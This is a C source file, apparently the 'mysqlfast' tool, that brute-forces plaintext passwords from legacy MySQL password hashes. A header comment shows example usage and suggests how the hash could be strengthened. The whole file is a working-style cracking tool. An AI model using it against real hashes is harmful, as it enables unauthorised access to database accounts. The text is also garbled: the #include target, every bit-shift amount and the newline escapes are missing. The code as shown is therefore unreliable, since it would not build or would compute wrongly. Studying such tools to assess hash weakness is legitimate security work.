/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast * $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << ; sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << ; xor2 = (state2 << ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << ; div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << ) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << ) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %sn", hash); return; } printf("Hash: %08lx%08lxn", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << ^ targ1); targ3 = targ2 - ((targ3 << ^ targ1); targ3 = targ2 - ((targ3 << ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %dn", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('n'); break; } } if (len > MAX_LEN) printf("Pass not foundn"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hashn", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; }